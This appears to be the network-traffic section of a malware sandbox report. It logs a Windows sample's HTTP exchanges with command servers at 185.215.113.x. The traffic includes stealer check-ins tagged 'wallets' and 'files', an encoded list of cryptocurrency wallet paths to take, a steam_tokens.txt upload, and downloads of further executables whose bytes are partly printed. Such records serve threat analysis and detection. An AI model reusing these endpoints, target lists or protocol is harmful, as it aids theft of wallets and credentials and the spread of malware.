43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"wallets------HJDAFIEHIEGDHIDGDGHD--
Dec 8, 2024 00:48:57.370421886 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 8, 2024 00:48:57.373084068 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"files------DGIJDAFCFHIEHJJKEHJK--
Dec 8, 2024 00:48:57.811463118 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:57.836203098 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Dec 8, 2024 00:48:58.761830091 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:58.787277937 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDBAECGCAFHJJDAKF--
Dec 8, 2024 00:48:59.226383924 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49835	185.215.113.16	80	2688	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:48:59.353225946 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 8, 2024 00:49:00.685142040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:49:00 GMT Content-Type: application/octet-stream Content-Length: 3189760 Last-Modified: Sat, 07 Dec 2024 23:42:06 GMT Connection: keep-alive ETag: "6754dd4e-30ac00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@061@Wk00 @.rsrc@.idata @iznludpw))@zwkotnfl00@.taggant00"0@
Dec 8, 2024 00:49:00.685170889 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:00.686050892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:00.686132908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:00.686145067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 00:49:00.686357975 CET	372	IN	Data Raw: c2 92 2b 4f 59 40 e0 67 76 30 3c 3d 9d 1c 7a 4b 9e c4 ff 77 d8 80 27 cf 41 39 24 67 56 39 1b aa c2 92 db 4f 19 40 e0 67 76 48 3c 3d 9d 1c 1a 4b 9e c4 ff 57 d8 80 27 cf 61 39 24 67 56 39 1b aa c2 92 db 4f 29 40 e0 67 76 d4 35 3d 9d 1c ba 48 9e c4 Data Ascii: +OY@gv0<=zKw'A9$gV9O@gvH<=KW'a9$gV9O)@gv5=H'9$gV9Oe@gv:=ZK'9$gV9OGgv5=H':$gV9OGgv6=H':$gV9OGgv0=:H7':$gV9#OGgv(=H
Dec 8, 2024 00:49:00.686438084 CET	1236	IN	Data Raw: c5 80 27 cf a1 3a 24 67 56 39 1b aa c2 92 23 4f 51 47 e0 67 76 88 36 3d 9d 1c fa 4b 9e c4 ff f7 c5 80 27 cf c1 3b 24 67 56 39 1b aa c2 92 23 4f b9 47 e0 67 76 90 3a 3d 9d 1c 9a 4b 9e c4 ff d7 c5 80 27 cf e1 3b 24 67 56 39 1b aa c2 92 23 4f a1 47 Data Ascii: ':$gV9#OQGgv6=K';$gV9#OGgv:=K';$gV9#OGgv(7=:K7';$gV9#OIGgv==K'!;$gV9#OGgv0=zIw'A;$gV9#OGgv`4=IW'a;$gV9#OGgv3=N';$gV9#O)G
Dec 8, 2024 00:49:00.686573982 CET	1236	IN	Data Raw: 76 90 3b 3d 9d 1c ba 42 9e c4 ff b7 d3 80 27 cf 81 2f 24 67 56 39 1b aa c2 92 df 4f e5 45 e0 67 76 a0 39 3d 9d 1c 5a 5d 9e c4 ff 97 d4 80 27 cf a1 2f 24 67 56 39 1b aa c2 92 d3 4f 89 45 e0 67 76 38 3a 3d 9d 1c fa 42 9e c4 ff f7 d4 80 27 cf c1 28 Data Ascii: v;=B'/$gV9OEgv9=Z]'/$gV9OEgv8:=B'($gV9OAEgv$5=B'($gV9OUEgvX3=:B7'($gV9OMEgv=B'!($gV9#OEgv8=z\w='A($gV9OEgv:=\W='a($
Dec 8, 2024 00:49:00.686583042 CET	248	IN	Data Raw: 56 39 1b aa c2 92 df 4f 11 71 e0 67 76 c8 3e 3d 9d 1c 1a 40 9e c4 ff 57 21 80 27 cf 61 2c 24 67 56 39 1b aa c2 92 df 4f 65 71 e0 67 76 f0 3c 3d 9d 1c ba 41 9e c4 ff b7 22 80 27 cf 81 2c 24 67 56 39 1b aa c2 92 d7 4f 09 71 e0 67 76 c8 34 3d 9d 1c Data Ascii: V9Oqgv>=@W!'a,$gV9Oeqgv<=A"',$gV9Oqgv4=Z@#',$gV9#Oqgvx6=A#'5$gV9#OqgvX>=A#'5$gV9OqgvP>=:A7#'5$gV9#O!qgv9=A$'!5$gV9Oqgv@9=z
Dec 8, 2024 00:49:00.687098026 CET	1236	IN	Data Raw: 24 80 27 cf 41 35 24 67 56 39 1b aa c2 92 07 4f ad 78 e0 67 76 20 36 3d 9d 1c 1a 47 9e c4 ff 57 24 80 27 cf 61 35 24 67 56 39 1b aa c2 92 db 4f 89 78 e0 67 76 18 38 3d 9d 1c ba 44 9e c4 ff b7 25 80 27 cf 81 35 24 67 56 39 1b aa c2 92 db 4f 59 78 Data Ascii: $'A5$gV9Oxgv 6=GW$'a5$gV9Oxgv8=D%'5$gV9OYxgv4=ZG'5$gV9Oixgv;=D'6$gV9Oxgv 7=D'6$gV93Oxgv 8=:D7'6$gV9#Oxgv8<=D'!6$gV9Oux
Dec 8, 2024 00:49:00.804755926 CET	1236	IN	Data Raw: 9a f6 e3 6f 9e 70 de 49 81 96 7f 0b 00 fb 27 e6 da fc 5e bc 54 8f 69 62 9d fd 92 a7 19 3b c5 6a eb bb 23 a2 5f c0 97 e4 5b c4 62 67 49 c6 e0 67 d0 38 1b aa c2 38 1b aa c2 8b 7f c7 2f fb 27 3c d0 38 1b aa c2 38 1b aa c2 97 5e ca 6c ed f3 6f 18 eb Data Ascii: opI'^Tib;j#_[bgIg88/'<88^loK$g8^lqogL\|%Vga.'^Tf888^'C~'gs'X#`g'[b#1'gB.'888^C~5mNgs6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49851	185.215.113.206	80	2688	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:49:06.147217035 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKEGIJEHJDGDHJKJKKJ--
Dec 8, 2024 00:49:07.983367920 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49948	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:49:47.921237946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 00:49:49.262329102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49957	185.215.113.43	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:49:50.891668081 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Dec 8, 2024 00:49:52.235788107 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:49:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 33 30 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 30 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 30 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 30 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1013060001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013061001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013062001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013063001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49960	185.215.113.16	80	8064	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:49:52.363131046 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 8, 2024 00:49:53.692622900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 23:49:53 GMT Content-Type: application/octet-stream Content-Length: 1870848 Last-Modified: Sat, 07 Dec 2024 23:41:51 GMT Connection: keep-alive ETag: "6754dd3f-1c8c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 f0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4a 00 00 04 00 00 9d 57 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPgI@ JW@\0p 1 2@.rsrc B@.idata 0F@ *@H@phqbfzqh /J@iuiexkhcId@.taggant0I"j@
Dec 8, 2024 00:49:53.692683935 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
